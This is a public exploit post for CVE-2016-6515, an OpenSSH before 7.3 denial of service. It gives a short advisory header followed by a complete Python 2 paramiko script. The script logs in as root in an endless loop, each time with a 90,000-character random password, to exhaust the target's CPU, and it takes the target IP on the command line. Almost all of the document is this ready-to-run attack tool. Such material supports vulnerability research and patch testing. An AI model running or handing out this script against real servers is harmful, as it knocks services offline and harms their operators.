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OpenSSH 7.2 Denial Of Service

Posted on 08 December 2016

################################################################################
# Title : OpenSSH before 7.3 Crypt CPU Consumption (DoS Vulnerability)
# Author : Kashinath T (tkashinath@secpod.com) (www.secpod.com)
# Vendor : http://www.openssh.com/
# Software : http://www.openssh.com/
# Version : OpenSSH before 7.3
# Tested on : Ubuntu 16.04 LTS, Centos 7
# CVE : CVE-2016-6515
# Date : 20-10-2016
#
# NOTE:
# If the remote machine is installed and running OpenSSH version prior to 7.3,
# it does not limit the password length for authentication. Hence, to exploit
# this vulnerability' we will send a crafted data which is of 90000 characters
# in length to the 'password' field while attempting to log in to a remote
# machine via ssh with username as 'root'.
#
# For more info refer,
# http://www.secpod.com/blog/openssh-crypt-cpu-consumption
################################################################################

import sys
from random import choice
from string import lowercase

try:
import paramiko
except ImportError:
print "[-] python module 'paramiko' is missing, Install paramiko with" 
" following command 'sudo pip install paramiko'"
sys.exit(0)

class ssh_exploit:

def __init__(self):
"""
Initialise the objects
"""

def ssh_login(self, remote_ip):

try:
# Crafted password of length 90000
passwd_len = 90000
crafted_passwd = "".join(choice(lowercase)
for i in range(passwd_len))

# Connect to a remote machine via ssh
ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# calling connect in infinite loop
print "[+] Entering infinite loop"
while 1:
ssh.connect(remote_ip, username='root',
password=crafted_passwd)

except Exception, msg:
print "Error in connecting to remote host : ", remote_ip
print "Exception in : ssh_login method."
sys.exit(msg)

def main():

if len(sys.argv) != 2:
print "usage: python openssh_crypt_cpu_consumption_dos.py 192.168.x.x"
sys.exit()

# Calling ssh_connect
ref_obj = ssh_exploit()
ref_obj.ssh_login(sys.argv[1])

if __name__ == "__main__":
main()

 

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